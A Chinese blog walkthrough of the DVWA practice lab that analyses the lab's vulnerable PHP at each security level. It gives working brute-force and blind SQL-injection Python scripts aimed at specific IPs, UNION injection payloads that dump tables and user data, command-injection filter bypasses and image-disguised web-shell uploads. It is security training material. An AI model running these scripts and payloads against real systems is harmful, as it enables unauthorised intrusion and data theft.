文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

DVWA靶场通关和源码分析

2023-09-11 06:23

关注

文章目录

一、Brute Force

1.low

简单爆破脚本:

import requestss = requests.session()headers = {    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0',    'Cookie': 'PHPSESSID=02t5fg1bf27dpm9lk6il83b8k7; security=low'}f = open('password.txt', 'r',encoding='utf-8')while 1:    password=f.readline().rstrip()    if not password or not password:        break    url = f'http://121.40.115.95/vulnerabilities/brute/?username=admin&password={password}&Login=Login#'    resp = s.get(url, headers=headers)    if 'Username and/or password incorrect.' not in resp.text:        print(password)        break

源码分析:

if( isset( $_GET[ 'Login' ] ) ) {// Get username$user = $_GET[ 'username' ];// Get password$pass = $_GET[ 'password' ];$pass = md5( $pass );// Check the database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
);if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successful$html .= "

Welcome to the password protected area {$user}

"
;$html .= "{$avatar}\" />"
;}else {// Login failed$html .= "

Username and/or password incorrect.
"
;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>

从GET请求中获取username和password,password用md5加密后直接放入数据库查询,有结果则将查询到的avatar字段数据提取出来,应该是对应某个图片名称,然后放出图片。

2、medium

源码:

if( isset( $_GET[ 'Login' ] ) ) {// Sanitise username input$user = $_GET[ 'username' ];$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_GET[ 'password' ];$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Check the database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
);if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successful$html .= "

Welcome to the password protected area {$user}

"
;$html .= "{$avatar}\" />"
;}else {// Login failedsleep( 2 );$html .= "

Username and/or password incorrect.
"
;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>

仅仅只是在GET请求获取的username和password处增加了mysqli_real_escape_string()的处理,转义sql语句中的字符,防止sql注入,对暴力破解依旧没有防备。

3、High

源码:

if( isset( $_GET[ 'Login' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_GET[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_GET[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Check database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
);if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successful$html .= "

Welcome to the password protected area {$user}

"
;$html .= "{$avatar}\" />"
;}else {// Login failedsleep( rand( 0, 3 ) );$html .= "

Username and/or password incorrect.
"
;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}// Generate Anti-CSRF tokengenerateSessionToken();?>

这里主要增加了checkToken()函数,用于判断token是否正确,在访问页面前,会先生成一个token然后返回到客户端并hidden起来,请求的时候会带上token,因此,可以使用burpsuite的宏正则进行爆破,因为token是提前预知的。

在这里插入图片描述

在这里插入图片描述

4、Impossible

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_POST[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_POST[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Default values$total_failed_login = 3;$lockout_time       = 15;$account_locked     = false;// Check the database (Check user information)$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// Check to see if the user has been locked out.if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {// User locked out.  Note, using this method would allow for user enumeration!//$html .= "

This account has been locked due to too many incorrect logins.
";
// Calculate when the user would be allowed to login again$last_login = strtotime( $row[ 'last_login' ] );$timeout = $last_login + ($lockout_time * 60);$timenow = time();// Check to see if enough time has passed, if it hasn't locked the accountif( $timenow < $timeout ) {$account_locked = true;// print "The account is locked
";
}}// Check the database (if username matches the password)$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR);$data->bindParam( ':password', $pass, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// If its a valid login...if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {// Get users details$avatar = $row[ 'avatar' ];$failed_login = $row[ 'failed_login' ];$last_login = $row[ 'last_login' ];// Login successful$html .= "

Welcome to the password protected area {$user}

"
;$html .= "{$avatar}\" />"
;// Had the account been locked out since last login?if( $failed_login >= $total_failed_login ) {$html .= "

Warning: Someone might of been brute forcing your account.

"
;$html .= "

Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.

"
;}// Reset bad login count$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();} else {// Login failedsleep( rand( 2, 4 ) );// Give the user some feedback$html .= "

Username and/or password incorrect.

Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
"
;// Update bad login count$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}// Set the last login time$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}// Generate Anti-CSRF tokengenerateSessionToken();?>

Impossible级别主要是教如何防护,可以看到源代码中使用了prepare进行了PDO预编译来防止SQL注入,这样所有的数据都会被当成字符处理,同时对于暴力破解,用数据库中的fail_login和last_login字段,fail_login用于记录次数,last_login记录时间,一旦登录失败三次,将当前时间和最后登录时间对比,锁住十五秒。

二、Command Injection

1、Low

在这里插入图片描述

源码:

if( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end user$html .= "
{$cmd}
"
;}?>

先判断操作系统类别,然后使用shell_exec()函数执行target,类似函数还有exec(),passthru(),system()等,对target没进行任何限制,导致可以使用管道符拼接,多命令执行。

2、Medium

源码:

if( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Set blacklist$substitutions = array('&&' => '',';'  => '',);// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end user$html .= "
{$cmd}
"
;}?>

黑名单过滤了;和&&,但是拼接命令不只有这些,还有|等,区别在于,&&要前一条命令执行成功才执行下一条,||则是上一条命令执行失败。
在这里插入图片描述

3、High

源码:

if( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]);// Set blacklist$substitutions = array('&'  => '',';'  => '','| ' => '','-'  => '','$'  => '','('  => '',')'  => '','`'  => '','||' => '',);// Remove any of the characters in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end user$html .= "
{$cmd}
"
;}?>

又是黑名单,过滤了很多拼接字符,但是注意第三个|后面多了个空格,我们使用|| 就会导致| 先被匹配了,|| 就换变成| ,后面就匹配不成功了,依旧可以导致命令执行。

在这里插入图片描述
在这里插入图片描述

三、CSRF

1、Low

源码:

if( isset( $_GET[ 'Change' ] ) ) {// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
);// Feedback for the user$html .= "
Password Changed.
"
;}else {// Issue with passwords matching$html .= "
Passwords did not match.
"
;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>

主要是更改密码的操作,但是源码中并没有做任何检测,因此,假如一个人开启了网站没有关闭,诱导点击链接,可以达到更改密码的效果。
在这里插入图片描述
在这里插入图片描述

2、Medium

源码:

if( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
);// Feedback for the user$html .= "
Password Changed.
"
;}else {// Issue with passwords matching$html .= "
Passwords did not match.
"
;}}else {// Didn't come from a trusted source$html .= "
That request didn't look correct.
"
;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>

相比于Low,这里增加了一个if的判断,判断数据包中Referer的值是否出现主机名即IP地址

3、High

源码:

$change = false;$request_type = "html";$return_message = "Request Failed";if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {$data = json_decode(file_get_contents('php://input'), true);$request_type = "json";if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&array_key_exists("password_new", $data) &&array_key_exists("password_conf", $data) &&array_key_exists("Change", $data)) {$token = $_SERVER['HTTP_USER_TOKEN'];$pass_new = $data["password_new"];$pass_conf = $data["password_conf"];$change = true;}} else {if (array_key_exists("user_token", $_REQUEST) &&array_key_exists("password_new", $_REQUEST) &&array_key_exists("password_conf", $_REQUEST) &&array_key_exists("Change", $_REQUEST)) {$token = $_REQUEST["user_token"];$pass_new = $_REQUEST["password_new"];$pass_conf = $_REQUEST["password_conf"];$change = true;}}if ($change) {// Check Anti-CSRF tokencheckToken( $token, $_SESSION[ 'session_token' ], 'index.php' );// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert );// Feedback for the user$return_message = "Password Changed.";}else {// Issue with passwords matching$return_message = "Passwords did not match.";}mysqli_close($GLOBALS["___mysqli_ston"]);if ($request_type == "json") {generateSessionToken();header ("Content-Type: application/json");print json_encode (array("Message" =>$return_message));exit;} else {$html .= "
" . $return_message . "
"
;}}// Generate Anti-CSRF tokengenerateSessionToken();?>

很明显,High增加了对token的判断,需要用户客户端的token才能进行修改,需要联合其它漏洞事先获取到用户的token。

4、Impossible

源码:

if( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_curr = $_GET[ 'password_current' ];$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Sanitise current password input$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr );// Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute();// Do both new passwords match and does the current password match the user?if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {// It does!$pass_new = stripslashes( $pass_new );$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database with new password$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute();// Feedback for the user$html .= "
Password Changed.
"
;}else {// Issue with passwords matching$html .= "
Passwords did not match or current password incorrect.
"
;}}// Generate Anti-CSRF tokengenerateSessionToken();?>

源码中看到需要输入当前密码才能进行密码修改,如果当前密码不成功,则不进行数据库密码更改操作,因此不可能进行跨站请求伪造的行为。

四、File Inclusion

1、Low

在这里插入图片描述
源码:

// The page we wish to display$file = $_GET[ 'page' ];?> 

2、Medium

源码:

// The page we wish to display$file = $_GET[ 'page' ];// Input validation$file = str_replace( array( "http://", "https://" ), "", $file );$file = str_replace( array( "../", "..\\" ), "", $file );?>

将…/,http://等置空,对本地包含绝对路径没有影响,如果要使用http远程包含,直接双写绕过。
在这里插入图片描述

3、High

源码:

// The page we wish to display$file = $_GET[ 'page' ];// Input validationif( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;}?>

使用fnmatch()匹配file开头的字符串,伪协议file://即可

在这里插入图片描述

五、File Upload

1、Low

在这里插入图片描述
在这里插入图片描述
源码:

if( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// No$html .= '
Your image was not uploaded.
'
;}else {// Yes!$html .= "
{$target_path} succesfully uploaded!
"
;}}?>

直接接收文件,并且保存到网站根目录下hackable/uploads目录下,直接传一句话木马即可。

2、Medium

在这里插入图片描述
源码:

if( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];// Is it an image?if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// No$html .= '
Your image was not uploaded.
'
;}else {// Yes!$html .= "
{$target_path} succesfully uploaded!
"
;}}else {// Invalid file$html .= '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
;}}?>

只是对上传的type进行了检测,必须是jpeg或png,直接修改Content-Type即可。

3、High

在这里插入图片描述

然后将图片马上传,这样肯定是不够的,因为还得让图片被PHP代码解析,才能触发里面的一句话木马,可以利用文件包含漏洞,解析图片。

在这里插入图片描述

源码:

if( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Is it an image?if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No$html .= '
Your image was not uploaded.
'
;}else {// Yes!$html .= "
{$target_path} succesfully uploaded!
"
;}}else {// Invalid file$html .= '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
;}}?>

通过截断符,截断文件名最后一个.前面的字符,同时使用getimagesize()获取图像信息,因此只能上传图片马。

4、Impossible

if( isset( $_POST[ 'Upload' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Where are we going to be writing to?$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;// Is it an image?if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) &&( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&getimagesize( $uploaded_tmp ) ) {// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type == 'image/jpeg' ) {$img = imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img = imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img );// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!$html .= "
${target_file} succesfully uploaded!
"
;}else {// No$html .= '
Your image was not uploaded.
'
;}// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid file$html .= '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
;}}// Generate Anti-CSRF tokengenerateSessionToken();?>

在High的基础上以时间+拼接文件名进行md5加密的形式重命名文件,重点是通过imagecreatefromjpeg函数对图片的内容进行了重新处理,使得图片马中的马被去掉。

六、 SQL注入

1、Low

1' union select 1,database()# 爆数据库1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#  爆表1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 爆字段1' union select 1,group_concat(first_name) from dvwa.users# 爆某字段数据

在这里插入图片描述
源码:

if( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check database$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
);// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end user$html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
"
;}mysqli_close($GLOBALS["___mysqli_ston"]);break;

直接将输入的数据放进了数据库查询,当然也可以使用其它注入,都可以。

2、Medium

0 union select 1,database()0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()  0 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 0 union select 1,group_concat(first_name) from dvwa.users 

源码:

if( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);switch ($_DVWA['SQLI_DB']) {case MYSQL:$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '
' . mysqli_error($GLOBALS["___mysqli_ston"]) . '
'
);// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end user$html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
"
;}break;

虽然通过mysqli_real_escape_string()对单引号等特殊字符进行转移,但是这里用不着。

3、High

1' union select 1,database()# 爆数据库1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#  爆表1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 爆字段1' union select 1,group_concat(first_name) from dvwa.users# 爆某字段数据

在这里插入图片描述

4、Impossible

if( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {$id = intval ($id);switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last  = $row[ 'last_name' ];// Feedback for end user$html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
"
;}break;case SQLITE:global $sqlite_db_connection;$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );$stmt->bindValue(':id',$id,SQLITE3_INTEGER);$result = $stmt->execute();$result->finalize();if ($result !== false) {// There is no way to get the number of rows returned// This checks the number of columns (not rows) just// as a precaution, but it won't stop someone dumping// multiple rows and viewing them one at a time.$num_columns = $result->numColumns();if ($num_columns == 2) {$row = $result->fetchArray();// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// Feedback for end user$html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
"
;}}break;}}}// Generate Anti-CSRF tokengenerateSessionToken();?>

将id规定为数字,并且采用了预编译防止sql注入,使得注入语句成为参数,确实防止了sql注入。

七、SQL盲注

1、Low

import requestss=requests.session()url='http://121.199.77.45/vulnerabilities/sqli_blind/?id='last='&Submit=Submit#'headers={    'Cookie':'PHPSESSID=bqjapbi0r6fs9aemuhkc2svn81; security=low',    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'}#proxy={'http':'http://127.0.0.1:8080'}result=''for times in range(1,88):    max=128    min=0    mid=(max+min)//2    while min<max:        url = 'http://121.199.77.45/vulnerabilities/sqli_blind/?id='        #payload=f"1'%20and%20if((ascii(substr((select%20database())%2c{times}%2c1))%3e{mid})%2c1%2c0)%23" 爆数据库        #payload=f"1'+and+if(ascii(substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase())%2C{times}%2C1))>{mid}%2C1%2C0)%23" #爆表        payload = f"1'+and+if(ascii(substr((select+group_concat(column_name)+from+information_schema.columns+where+table_name%3D'users')%2C{times}%2C1))>{mid}%2C1%2C0)%23" #爆字段        payload = f"1'+and+if(ascii(substr((select+group_concat(first_name)+from+dvwa.users)%2C{times}%2C1))>{mid}%2C1%2C0)%23" #爆数据        url=url+payload+last        resp=s.get(url,headers=headers)        if 'User ID exists in the database.' in resp.text:            min = mid + 1        else:            max = mid        mid=(min+max)//2    result += chr(min)    print(result)

在这里插入图片描述

源码:

if( isset( $_GET[ 'Submit' ] ) ) {// Get input$id = $_GET[ 'id' ];$exists = false;switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check database$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors$exists = false;if ($result !== false) {try {$exists = (mysqli_num_rows( $result ) > 0);} catch(Exception $e) {$exists = false;}}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);break;case SQLITE:global $sqlite_db_connection;$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";try {$results = $sqlite_db_connection->query($query);$row = $results->fetchArray();$exists = $row !== false;} catch(Exception $e) {$exists = false;}break;}if ($exists) {// Feedback for end user$html .= '
User ID exists in the database.
'
;} else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= '
User ID is MISSING from the database.
'
;}}?>

跟普通的low级别意义,只不过隔绝了返回的信息,成功则返回存在,使得要使用时间或者其它盲注。

2、Medium

在这里插入图片描述
在这里插入图片描述

发现0和1返回的结果不一样,直接上脚本

